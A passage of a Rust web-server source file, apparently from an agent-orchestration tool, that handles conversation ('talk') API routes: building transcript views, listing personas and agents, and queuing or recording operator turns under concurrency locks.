9040                        .map(|message| {
9041                            notice_markdown(
9042                                message.sender.unwrap_or(talk::Sender::Operator),
9043                                &message.body,
9044                                message.display.as_ref(),
9045                            )
9046                        })
9047                        .collect()
9048                }
9049            })
9050            .collect();
9051        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9052            .pending_messages
9053            .iter()
9054            .map(|message| {
9055                notice_markdown(
9056                    message.sender.unwrap_or(talk::Sender::Operator),
9057                    &message.body,
9058                    message.display.as_ref(),
9059                )
9060            })
9061            .collect();
9062        for nodes in &mut turn_bodies_md {
9063            references.markdown(nodes);
9064        }
9065        for nodes in turn_messages_md
9066            .iter_mut()
9067            .flatten()
9068            .chain(pending_messages_md.iter_mut())
9069            .flatten()
9070        {
9071            references.markdown(nodes);
9072        }
9073        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9074        let persona_name = persona::find(specs, &talk.persona)
9075            .filter(|p| !p.is_default())
9076            .map(|p| p.name);
9077        let mut avatar_persona = persona::find(specs, &talk.persona)
9078            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9079        // A removed configured persona may still have an override and old talks.
9080        if avatar_persona.id != talk.persona
9081            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9082        {
9083            avatar_persona.id.clone_from(&talk.persona);
9084            avatar_persona.icon = None;
9085        }
9086        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9087        let approvals_store = ask::Questions::at(home.join("questions"));
9088        let merge_approvals = talk
9089            .notified
9090            .iter()
9091            .filter_map(|key| key.strip_prefix("question:"))
9092            .filter_map(|id| approvals_store.get(id).ok())
9093            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9094            .filter_map(|q| {
9095                Some(ChatApproval {
9096                    question: q.id,
9097                    target: q.merge_target?,
9098                })
9099            })
9100            .collect();
9101        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9102        Self {
9103            turn_bodies_md,
9104            turn_messages_md,
9105            pending_messages_md,
9106            merge_approvals,
9107            thinking,
9108            context,
9109            operator_name,
9110            persona_name,
9111            persona_avatar,
9112            magi_avatar: magi_icon_url(home),
9113            operator_avatar: operator_icon_url(home),
9114            talk,
9115        }
9116    }
9117}
9118
9119/// Parse only the user-facing representation of an explicitly identified MAGI send.
9120fn notice_markdown(
9121    sender: talk::Sender,
9122    body: &str,
9123    display: Option<&crate::prompt::NoticeDisplay>,
9124) -> Option<Vec<md::Node>> {
9125    if sender != talk::Sender::Magi {
9126        return None;
9127    }
9128    let text = if let Some(display) = display {
9129        display.facts.as_str()
9130    } else {
9131        // Unknown completion templates may contain internal directives. Never
9132        // promote their agent input to the Markdown display surface.
9133        if crate::prompt::is_completion_notice(body)
9134            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9135        {
9136            return None;
9137        }
9138        body.strip_prefix("magi: ").unwrap_or(body)
9139    };
9140    Some(md::to_nodes(text, &md::ImageBase::None))
9141}
9142
9143/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9144/// conversation has filed, so the phone can follow one from inside the
9145/// conversation that asked for it rather than hunting the Queue for a task id
9146/// it may not remember.
9147#[derive(Debug, Serialize)]
9148struct TalkDetailView {
9149    #[serde(flatten)]
9150    view: TalkView,
9151    tasks: Vec<TaskView>,
9152    task_progress: TalkTaskProgress,
9153    /// The agents this talk's repository can switch to; empty when its
9154    /// configuration cannot be read, which must not fail the whole detail.
9155    roster: Vec<RosterEntry>,
9156    /// The personas the conversation can pick from. The built-ins are always
9157    /// listed, even when the repository's configuration cannot be read.
9158    personas: Vec<PersonaEntry>,
9159}
9160
9161/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9162#[derive(Debug, Serialize)]
9163struct TalkTaskProgress {
9164    state: &'static str,
9165    total: usize,
9166    done: usize,
9167    counts: std::collections::BTreeMap<&'static str, usize>,
9168    unfinished_ids: Vec<String>,
9169}
9170
9171fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9172    let mut counts = std::collections::BTreeMap::from([
9173        ("queued", 0),
9174        ("running", 0),
9175        ("done", 0),
9176        ("failed", 0),
9177        ("held", 0),
9178        ("blocked", 0),
9179        ("parked", 0),
9180    ]);
9181    let mut unfinished_ids = Vec::new();
9182    for task in tasks {
9183        *counts.entry(task.status.as_str()).or_default() += 1;
9184        if task.status != TaskStatus::Done {
9185            unfinished_ids.push(task.id.clone());
9186        }
9187    }
9188    TalkTaskProgress {
9189        state: if tasks.is_empty() {
9190            "none"
9191        } else if unfinished_ids.is_empty() {
9192            "complete"
9193        } else {
9194            "incomplete"
9195        },
9196        total: tasks.len(),
9197        done: tasks.len() - unfinished_ids.len(),
9198        counts,
9199        unfinished_ids,
9200    }
9201}
9202
9203/// One persona as the talk's persona selector shows it.
9204#[derive(Debug, Serialize)]
9205struct PersonaEntry {
9206    id: String,
9207    name: String,
9208    /// Avatar URL, see [`TalkView::persona_avatar`].
9209    avatar: String,
9210}
9211
9212/// One roster agent as the talk's agent selector shows it.
9213#[derive(Debug, Serialize)]
9214struct RosterEntry {
9215    id: String,
9216    kind: AgentKind,
9217    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9218    runnable: bool,
9219}
9220
9221/// Bounded summaries; `/page` carries a cursor for older membership.
9222async fn talks_list(
9223    State(ui): State<Arc<Ui>>,
9224    Query(q): Query<ListQuery>,
9225    headers: header::HeaderMap,
9226) -> ApiResult<Json<Vec<TalkListView>>> {
9227    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9228        let limit = q.limit.unwrap_or(50).min(50);
9229        let ids = if let Some(ids) = q.ids {
9230            ids.split(',')
9231                .filter(|id| plain_record_id(id))
9232                .take(limit)
9233                .map(str::to_owned)
9234                .collect()
9235        } else {
9236            page_ids(&ui, true, PageQuery::default())?
9237                .0
9238                .into_iter()
9239                .take(limit.min(STORE_PAGE_SIZE))
9240                .collect()
9241        };
9242        Ok(Json(talk_rows(&ui, ids, &headers)))
9243    })
9244    .await
9245}
9246
9247/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9248/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9249/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9250/// end still opens a talk against an older binary.
9251#[derive(Debug, Default, Deserialize)]
9252#[serde(default)]
9253struct NewTalk {
9254    agent: Option<String>,
9255    repo: Option<PathBuf>,
9256    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9257    /// wrong type is dropped like a stale value instead of failing the request;
9258    /// each falls back to its default on its own (see [`talk::begin_with`]).
9259    preferred_agent: Option<serde_json::Value>,
9260    persona: Option<serde_json::Value>,
9261    implementers: Option<serde_json::Value>,
9262}
9263
9264/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9265/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9266async fn talk_post(
9267    State(ui): State<Arc<Ui>>,
9268    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9269) -> ApiResult<impl IntoResponse> {
9270    // An absent body, or an empty one, is the normal way to open a talk - see
9271    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9272    // rather than refused.
9273    let body = match body {
9274        Ok(Json(body)) => body,
9275        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9276        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9277    };
9278    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9279    let cfg = config_for(&repo).await?;
9280    let view = blocking(move || {
9281        let preferred = talk::Preferred {
9282            agent: body
9283                .preferred_agent
9284                .as_ref()
9285                .and_then(|v| v.as_str())
9286                .map(str::to_owned),
9287            persona: body
9288                .persona
9289                .as_ref()
9290                .and_then(|v| v.as_str())
9291                .map(str::to_owned),
9292            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9293        };
9294        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9295        let thinking = ui.is_thinking(&talk.id);
9296        Ok(TalkView::new(talk, thinking, &ui))
9297    })
9298    .await?;
9299    Ok((StatusCode::CREATED, Json(view)))
9300}
9301
9302/// Transcript first: unrelated queue history and repository probes are deferred.
9303async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9304    // Keep transcript reads independent of sections and the runtime blocking pool.
9305    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9306        let id = resolve_talk(&ui.talks, &id)?;
9307        let talk = ui.talks.get(&id)?;
9308        let thinking = ui.is_thinking_observed(&id);
9309        // The browser already resolves Markdown text/code references after
9310        // rendering. A cold reference/review index must not gate the transcript.
9311        Ok(Json(TalkView::with_references(
9312            talk,
9313            thinking,
9314            None,
9315            &ui.home,
9316            &id_links::IdIndex::default(),
9317        )))
9318    })
9319    .await
9320}
9321
9322async fn talk_sections(
9323    State(ui): State<Arc<Ui>>,
9324    Path(id): Path<String>,
9325) -> ApiResult<Json<serde_json::Value>> {
9326    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9327        let id = resolve_talk(&ui.talks, &id)?;
9328        let talk = ui.talks.get(&id)?;
9329        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9330        let task_progress = talk_task_progress(&tasks);
9331        let tasks: Vec<_> = tasks
9332            .into_iter()
9333            .map(|task| {
9334                serde_json::json!({
9335                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9336                })
9337            })
9338            .collect();
9339        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9340        let roster: Vec<_> = cfg
9341            .as_ref()
9342            .map(|cfg| {
9343                cfg.agents
9344                    .iter()
9345                    .map(|a| RosterEntry {
9346                        id: a.id.clone(),
9347                        kind: a.kind,
9348                        runnable: agent::installed(a),
9349                    })
9350                    .collect()
9351            })
9352            .unwrap_or_default();
9353        let specs = cfg
9354            .as_ref()
9355            .map(|cfg| cfg.talk.personas.clone())
9356            .unwrap_or_default();
9357        let personas: Vec<_> = persona::catalog(&specs)
9358            .into_iter()
9359            .map(|p| PersonaEntry {
9360                avatar: avatar_url(&ui.home, &talk.id, &p),
9361                id: p.id,
9362                name: p.name,
9363            })
9364            .collect();
9365        let active_persona = persona::find(&specs, &talk.persona)
9366            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9367        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9368        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9369        Ok(Json(serde_json::json!({
9370            "tasks": tasks, "task_progress": task_progress,
9371            "roster": roster, "personas": personas,
9372            "context": talk::context_usage(&talk, cfg.as_ref()),
9373            "context_for": talk.updated_at,
9374            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9375            "persona_name": persona_name,
9376            "persona_avatar": persona_avatar,
9377        })))
9378    })
9379    .await
9380}
9381
9382/// `GET /api/talks/{id}`.
9383async fn talk_detail(
9384    State(ui): State<Arc<Ui>>,
9385    Path(id): Path<String>,
9386) -> ApiResult<Json<TalkDetailView>> {
9387    blocking(move || {
9388        let id = resolve_talk(&ui.talks, &id)?;
9389        let talk = ui.talks.get(&id)?;
9390        let thinking = ui.is_thinking_observed(&talk.id);
9391        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9392        let task_progress = talk_task_progress(&tasks);
9393        let tasks = tasks.into_iter().map(TaskView::from).collect();
9394        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9395        let roster = cfg
9396            .as_ref()
9397            .map(|cfg| {
9398                cfg.agents
9399                    .iter()
9400                    .map(|a| RosterEntry {
9401                        id: a.id.clone(),
9402                        kind: a.kind,
9403                        runnable: agent::installed(a),
9404                    })
9405                    .collect()
9406            })
9407            .unwrap_or_default();
9408        let specs = cfg
9409            .as_ref()
9410            .map(|cfg| cfg.talk.personas.clone())
9411            .unwrap_or_default();
9412        let personas = persona::catalog(&specs)
9413            .into_iter()
9414            .map(|p| PersonaEntry {
9415                avatar: avatar_url(&ui.home, &talk.id, &p),
9416                id: p.id,
9417                name: p.name,
9418            })
9419            .collect();
9420        Ok(Json(TalkDetailView {
9421            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9422            tasks,
9423            task_progress,
9424            roster,
9425            personas,
9426        }))
9427    })
9428    .await
9429}
9430
9431/// The body of `POST /api/talks/{id}/say`.
9432///
9433/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9434/// returned - never bytes of its own - so a turn with no images just omits
9435/// the field, which is what an older front end still does.
9436#[derive(Debug, Default, Deserialize)]
9437#[serde(default, deny_unknown_fields)]
9438struct NewTalkTurn {
9439    reply_to: Option<talk::ReplyTarget>,
9440    text: String,
9441    attachments: Vec<String>,
9442}
9443
9444#[derive(Debug, Deserialize)]
9445#[serde(deny_unknown_fields)]
9446struct EditTalkPending {
9447    #[serde(default)]
9448    message: Option<usize>,
9449    text: String,
9450    expected_text: String,
9451    expected_attachments: Vec<String>,
9452}
9453
9454#[derive(Debug, Deserialize)]
9455#[serde(deny_unknown_fields)]
9456struct ClearTalkPending {
9457    expected_text: String,
9458    expected_attachments: Vec<String>,
9459}
9460
9461/// `POST /api/talks/{id}/say` - one turn of the conversation.
9462///
9463/// Not filesystem work, and therefore not routed through [`blocking`]: this
9464/// route spawns an agent CLI and a turn here can run for the whole of
9465/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9466/// research turn is expected to run commands rather than answer from what it
9467/// already knows. Holding an HTTP connection open that long is not a thing
9468/// to ask a phone to do; the operator's message is recorded and answered for
9469/// immediately, and the reply lands in the background, discovered through
9470/// the change stream's `talks_rev` the same way every other update on this
9471/// surface is.
9472async fn talk_say(
9473    State(ui): State<Arc<Ui>>,
9474    Path(id): Path<String>,
9475    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9476) -> ApiResult<(StatusCode, Json<TalkView>)> {
9477    let admission = ui.begin_admission()?;
9478    admitted(admission, async move {
9479    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9480    if body.text.trim().is_empty() && body.attachments.is_empty() {
9481        return Err(ApiError::bad_request("say something"));
9482    }
9483
9484    let id = {
9485        let ui = Arc::clone(&ui);
9486        let asked = id.clone();
9487        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9488    };
9489    // A closed Talk never accepts a new immediate or queued turn. Check this
9490    // before claiming a slot so its ordinary domain refusal is a 409, not an
9491    // incidental failure from the later record/queue write.
9492    {
9493        let ui = Arc::clone(&ui);
9494        let id = id.clone();
9495        blocking(move || {
9496            let talk = ui.talks.get(&id)?;
9497            if !talk.status.open() {
9498                return Err(ApiError::conflict(format!(
9499                    "talk {} is {} and takes no more turns",
9500                    talk.short(),
9501                    talk.status.as_str()
9502                )));
9503            }
9504            Ok(())
9505        })
9506        .await?;
9507    }
9508
9509    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9510    // actually stores, before anything is written - an unknown id is a 4xx
9511    // that names it rather than a turn (or a queued draft) silently missing
9512    // an image.
9513    let attachments = {
9514        let ui = Arc::clone(&ui);
9515        let id = id.clone();
9516        let ids = body.attachments.clone();
9517        blocking(move || {
9518            ids.into_iter()
9519                .map(|att_id| {
9520                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9521                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9522                    })
9523                })
9524                .collect::<ApiResult<Vec<talk::Attachment>>>()
9525        })
9526        .await?
9527    };
9528    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9529        .await.map_err(ApiError::from)?;
9530
9531    // Pending recovery and a new immediate turn are decided under the same
9532    // claim lock. Without that one critical section, a second `/say` can see
9533    // the first request's claim as "busy" and append itself to the recovered
9534    // draft before the first request rejects it.
9535    let start = {
9536        let ui = Arc::clone(&ui);
9537        let id = id.clone();
9538        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9539    };
9540    let turn_guard = match start {
9541        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9542        TalkTurnStart::Pending => {
9543            return Err(ApiError::conflict(
9544                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9545            ));
9546        }
9547        TalkTurnStart::Foreign => {
9548            return Err(ApiError::conflict(
9549                "a turn is already running in another process; try again when it has finished",
9550            ));
9551        }
9552        TalkTurnStart::Busy => {
9553            // A turn is already running: queue rather than refuse. See
9554            // `Ui::begin_talk_turn` and `talk::queue`.
9555            //
9556            // The queue write and the drain it may owe live inside the task
9557            // `tokio::spawn` hands to the runtime, for the same reason the
9558            // immediate path below puts `record` there: a dropped handler
9559            // future must not be able to land between a durable write and
9560            // the task that answers it. `blocking` runs its closure on
9561            // `spawn_blocking`, which finishes whether or not anyone is left
9562            // to receive its result - so a disconnect at the `.await` below
9563            // would otherwise leave the draft persisted and the reclaimed
9564            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9565            // ever started and the queued text stranded until some later
9566            // `say` happened to pick it up. The caller's 202 travels back
9567            // over a `oneshot`, sent the moment the write lands.
9568            let (tx, rx) = tokio::sync::oneshot::channel();
9569            tokio::spawn({
9570                let ui = Arc::clone(&ui);
9571                let id = id.clone();
9572                let said = body.text.clone();
9573                let reply_to = body.reply_to.clone();
9574                async move {
9575                    let written = blocking({
9576                        let ui = Arc::clone(&ui);
9577                        let id = id.clone();
9578                        move || {
9579                            let mut talk = ui.talks.get(&id)?;
9580                            // A test-only stop point, right before the write
9581                            // an interleaving test needs to pin - see
9582                            // `BusyQueueGate`. `None` in every real server:
9583                            // the field only exists under `#[cfg(test)]`.
9584                            #[cfg(test)]
9585                            if let Some(gate) = ui
9586                                .busy_queue_gate
9587                                .lock()
9588                                .unwrap_or_else(PoisonError::into_inner)
9589                                .take()
9590                            {
9591                                let _ = gate.reached.send(());
9592                                let _ = gate.release.recv();
9593                            }
9594                            if let Err(error) = talk::queue_reply(
9595                                &mut talk,
9596                                &ui.talks,
9597                                &said,
9598                                attachments,
9599                                reply_to,
9600                            ) {
9601                                if let Ok(fresh) = ui.talks.get(&id) {
9602                                    if !fresh.status.open() {
9603                                        return Err(ApiError::conflict(format!(
9604                                            "talk {} is {} and takes no more turns",
9605                                            fresh.short(),
9606                                            fresh.status.as_str()
9607                                        )));
9608                                    }
9609                                }
9610                                return Err(
9611                                    if error.to_string().contains("invalid reply target") {
9612                                        ApiError::bad_request("invalid reply target")
9613                                    } else {
9614                                        ApiError::from(error)
9615                                    },
9616                                );
9617                            }
9618                            // The turn that looked busy a moment ago can have
9619                            // finished, found nothing to drain and given up the
9620                            // slot in the gap between that check and this write
9621                            // landing - see `drain_loop`'s own doc for the other
9622                            // half of why that gap would otherwise be able to
9623                            // open at all. Reclaiming the slot here, rather than
9624                            // trusting that whoever held it is still watching, is
9625                            // what stops the text just queued from being stranded
9626                            // until an unrelated future `say` happens to drain
9627                            // it.
9628                            let claim = match ui.begin_queued_talk_turn(&id)? {
9629                                Some(turn_guard) => {
9630                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9631                                    Some((talk.clone(), cfg, turn_guard))
9632                                }
9633                                None => None,
9634                            };
9635                            let thinking = ui.is_thinking(&id);
9636                            Ok((TalkView::new(talk, thinking, &ui), claim))
9637                        }
9638                    })
9639                    .await;
9640                    #[cfg(not(test))]
9641                    {
9642                        match written {
9643                            Ok((view, reclaimed)) => {
9644                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9645                                drop(reclaimed);
9646                                match launched {
9647                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9648                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9649                                }
9650                            }
9651                            Err(error) => { let _ = tx.send(Err(error)); }
9652                        }
9653                    }
9654                    #[cfg(test)]
9655                    {
9656                    let (view, reclaimed) = match written {
9657                        Ok(pair) => pair,
9658                        Err(e) => {
9659                            // Nobody is listening if the handler's own future
9660                            // was already dropped - that is fine, nothing was
9661                            // persisted and there is no response left to carry
9662                            // this error to.
9663                            let _ = tx.send(Err(e));
9664                            return;
9665                        }
9666                    };
9667                    // If this fails, the caller is gone; the drain below still
9668                    // runs exactly as it would have for a caller that stayed.
9669                    let _ = tx.send(Ok(view));
9670                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9671                        let talks = ui.talks.clone();
9672                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9673                    }
9674                    }
9675                }
9676            });
9677            let view = rx
9678                .await
9679                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9680            return Ok((StatusCode::ACCEPTED, Json(view)));
9681        }
9682    };
9683
9684    let (talk, cfg) = {
9685        let ui = Arc::clone(&ui);
9686        let id = id.clone();
9687        blocking(move || {
9688            let talk = ui.talks.get(&id)?;
9689            let (cfg, _) = Config::discover(&talk.repo, None)?;
9690            Ok((talk, cfg))
9691        })
9692        .await?
9693    };
9694
9695    let talks = ui.talks.clone();
9696    // `record` runs *inside* the spawned task, rather than in this handler
9697    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9698    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9699    // doc), and that drop can land at any `.await` this function makes,
9700    // including one that has already produced its result but not yet
9701    // resumed. A message could end up recorded on disk with the handler
9702    // future gone before it ever reached the `tokio::spawn` that would have
9703    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9704    // that hands the whole future to the runtime as one unit - once made, no
9705    // later drop of *this* handler's own future (that call's return value is
9706    // never held onto here) can reach back in and stop it, so record and the
9707    // hand-off to `respond` are unconditionally atomic from the client's
9708    // point of view. The immediate response this handler owes the caller
9709    // travels back over a `oneshot`, sent the moment `record` succeeds.
9710    let (tx, rx) = tokio::sync::oneshot::channel();
9711    tokio::spawn({
9712        #[cfg(test)]
9713        let ui = Arc::clone(&ui);
9714        let talks = talks.clone();
9715        let id = id.clone();
9716        let said = body.text.clone();
9717        let reply_to = body.reply_to.clone();
9718        let mut talk = talk.clone();
9719        async move {
9720            let recorded = blocking({
9721                let talks = talks.clone();
9722                move || {
9723                    if let Err(error) =
9724                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9725                    {
9726                        if let Ok(fresh) = talks.get(&talk.id) {
9727                            if !fresh.status.open() {
9728                                return Err(ApiError::conflict(format!(
9729                                    "talk {} is {} and takes no more turns",
9730                                    fresh.short(),
9731                                    fresh.status.as_str()
9732                                )));
9733                            }
9734                        }
9735                        return Err(if error.to_string().contains("invalid reply target") {
9736                            ApiError::bad_request("invalid reply target")
9737                        } else {
9738                            ApiError::from(error)
9739                        });
9740                    }
9741                    // `record` mutates `talk` in place to the freshly persisted
9742                    // state (status, pending, and the just-appended operator
9743                    // turn), so returning it here is equivalent to re-reading it
9744                    // from disk - without the extra round trip a re-read would
9745                    // need.
9746                    Ok((said.trim().to_owned(), talk))
9747                }
9748            })
9749            .await;
9750            let (text, talk) = match recorded {
9751                Ok(pair) => pair,
9752                Err(e) => {
9753                    // Nobody is listening if the handler's own future was
9754                    // already dropped - that is fine, there is no response
9755                    // left to carry this error to and nothing was persisted.
9756                    let _ = tx.send(Err(e));
9757                    return;
9758                }
9759            };
9760            #[cfg(not(test))]
9761            {
9762                let _ = (&cfg, &text);
9763                // The reservation becomes durable while this process still
9764                // holds the talk lease. The child waits for that lease; the
9765                // new UI sees its startup reservation immediately.
9766                let result = crate::chat_worker::spawn_recorded_turn(
9767                    &talks, &id, talk.turns.len() - 1,
9768                ).await;
9769                drop(turn_guard);
9770                match result {
9771                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9772                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9773                }
9774            }
9775            #[cfg(test)]
9776            {
9777            let queued = talk.clone();
9778            let mut talk = talk;
9779            let thinking = ui.is_thinking(&id);
9780            // If this fails, the caller is gone; the turn still runs below
9781            // exactly as it would have for a caller that stayed connected.
9782            let _ = tx.send(Ok((queued, thinking)));
9783
9784            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9785                // `respond` records the failure in the transcript itself,
9786                // which is what the phone reads; this line is for the
9787                // operator's terminal.
9788                tracing::warn!("talk {id} turn failed: {e:#}");
9789            }
9790            // Anything `talk::queue` added while the turn above was running
9791            // is still owed an answer - see `drain_loop`.
9792            drain_loop(talk, talks, cfg, id, turn_guard).await;
9793            }
9794        }
9795    });
9796
9797    let (queued, thinking) = rx
9798        .await
9799        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9800
9801    // 202: the operator's message is recorded and a turn is running.
9802    Ok((
9803        StatusCode::ACCEPTED,
9804        Json(TalkView::new(queued, thinking, &ui)),
9805    ))
9806    }).await
9807}
9808
9809/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9810/// changing it. The turn guard is the same per-talk ownership `talk_say`
9811/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9812async fn talk_pending_resume(
9813    State(ui): State<Arc<Ui>>,
9814    Path(id): Path<String>,
9815) -> ApiResult<(StatusCode, Json<TalkView>)> {
9816    let admission = ui.begin_admission()?;
9817    admitted(admission, async move {
9818        let id = {
9819            let ui = Arc::clone(&ui);
9820            let asked = id.clone();
9821            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9822        };
9823        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9824            .await
9825            .map_err(ApiError::from)?;
9826        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9827            return Err(ApiError::conflict(
9828                "a talk turn is already running; the queued draft will be handled by it",
9829            ));
9830        };
9831        let (talk, cfg) = {
9832            let ui = Arc::clone(&ui);
9833            let id = id.clone();
9834            blocking(move || {
9835                let talk = ui.talks.get(&id)?;
9836                if !talk.status.open() {
9837                    return Err(ApiError::conflict(format!(
9838                        "talk {} is {} and takes no more turns",
9839                        talk.short(),
9840                        talk.status.as_str()
9841                    )));
9842                }
9843                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9844                    return Err(ApiError::conflict("there is no queued draft to resume"));
9845                }
9846                let (cfg, _) = Config::discover(&talk.repo, None)?;
9847                Ok((talk, cfg))
9848            })
9849            .await?
9850        };
9851        let view = TalkView::new(talk.clone(), true, &ui);
9852        let talks = ui.talks.clone();
9853        #[cfg(not(test))]
9854        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9855        #[cfg(test)]
9856        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9857        Ok((StatusCode::ACCEPTED, Json(view)))
9858    })
9859    .await
9860}
9861
9862/// Hand off an admitted draft while retaining the talk lease until its
9863/// detached startup reservation is durable.
9864#[cfg(not(test))]
9865async fn detach_talk_turn(
9866    _talk: Talk,
9867    talks: Talks,
9868    _cfg: Config,
9869    id: String,
9870    turn: TalkTurnGuard,
9871) -> ApiResult<()> {
9872    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9873    drop(turn);
9874    launched.map(|_| ()).map_err(ApiError::from)
9875}
9876
9877#[cfg(test)]
9878async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9879    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9880}
9881
9882/// A settings response must not report idle while its claim is still held.
9883/// Wait until the first drain either releases the claim or promotes a draft.
9884/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9885async fn settle_settings_turn(
9886    talk: Talk,
9887    talks: Talks,
9888    cfg: Config,
9889    id: String,
9890    turn: TalkTurnGuard,
9891    observed: u64,
9892) -> bool {
9893    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9894        let turns = Arc::clone(&turn.turns);
9895        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9896        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9897            // Release under the arrival lock; a later `/say` takes its own claim.
9898            turn.release(&mut live);
9899            return false;
9900        }
9901    }
9902    let (started, settled) = tokio::sync::oneshot::channel();
9903    tokio::spawn(drain_loop_started(
9904        talk,
9905        talks,
9906        cfg,
9907        id,
9908        turn,
9909        Some(started),
9910    ));
9911    settled.await.unwrap_or(false)
9912}
9913
9914#[cfg(not(test))]
9915async fn drain_loop_started(
9916    talk: Talk,
9917    talks: Talks,
9918    _cfg: Config,
9919    id: String,
9920    turn: TalkTurnGuard,
9921    started: Option<tokio::sync::oneshot::Sender<bool>>,
9922) {
9923    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9924    let running = if pending {
9925        match crate::chat_worker::spawn_turn(&talks, &id).await {
9926            Ok(_) => true,
9927            Err(error) => {
9928                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9929                false
9930            }
9931        }
9932    } else {
9933        false
9934    };
9935    drop(turn);
9936    if let Some(started) = started {
9937        let _ = started.send(running);
9938    }
9939}
9940
9941// Existing in-process conversation tests exercise transcript/arrival ordering;
9942// real process-lifetime behavior is covered by the CLI integration tests.
9943#[cfg(test)]
9944async fn drain_loop_started(
9945    mut talk: Talk,
9946    talks: Talks,
9947    cfg: Config,
9948    id: String,
9949    turn: TalkTurnGuard,
9950    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9951) {
9952    let live_set = Arc::clone(&turn.turns);
9953    // `Option` rather than binding `turn` directly to a `_turn` that lives
9954    // for the whole function: releasing it has to happen by calling
9955    // `TalkTurnGuard::release` from inside the locked branch below, which
9956    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9957    // remove the id - correctly, if this loop is ever left some other way -
9958    // but doing it there misses the lock this loop is already holding, which
9959    // is the exact gap `release` exists to close.
9960    let mut turn = Some(turn);
9961    loop {
9962        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9963            // The lease was taken over while a turn ran. Whatever is queued
9964            // stays a draft; running it here would race the new owner.
